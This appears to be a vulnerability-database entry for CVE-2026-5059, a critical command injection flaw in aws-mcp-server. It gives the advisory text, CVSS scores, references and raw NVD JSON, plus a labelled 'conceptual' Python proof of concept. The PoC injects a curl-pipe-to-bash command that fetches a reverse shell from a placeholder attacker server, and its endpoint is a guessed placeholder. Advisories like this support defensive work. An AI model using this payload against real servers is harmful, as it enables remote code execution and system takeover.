CVE-2026-5059

Description

aws-mcp-server AWS CLI Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of aws-mcp-server. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the allowed commands list. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the MCP server. Was ZDI-CAN-27969.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

aws-mcp-server (具体受影响版本未在描述中明确列出，建议查阅官方公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Conceptual Proof of Concept for CVE-2026-5059
# This script demonstrates a potential command injection payload.

import requests

def exploit(target_ip):
    # The vulnerability occurs in the handling of the allowed commands list
    # We inject a shell command separator ';' to run arbitrary code.
    malicious_payload = {
        "allowed_commands": "ls; /bin/bash -c 'curl http://attacker-controlled-server/rev_shell | bash'",
        "other_params": "value"
    }

    url = f"http://{target_ip}:port/api/endpoint"
    
    try:
        print(f"[*] Sending payload to {url}...")
        response = requests.post(url, json=malicious_payload, timeout=5)
        print(f"[+] Response status: {response.status_code}")
        print("[+] Check your listener for a reverse shell connection.")
    except Exception as e:
        print(f"[-] Exploit failed: {e}")

if __name__ == "__main__":
    exploit("192.168.1.100")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5059
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5059
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5059/
[4] VulDB https://vuldb.com/cve/CVE-2026-5059
[5] https://www.zerodayinitiative.com/advisories/ZDI-26-245/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5059", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:18.293", "lastModified": "2026-04-13T15:01:43.663", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "aws-mcp-server AWS CLI Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of aws-mcp-server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of the allowed commands list. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the MCP server. Was ZDI-CAN-27969."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-245/", "source": "[email protected]"}]}}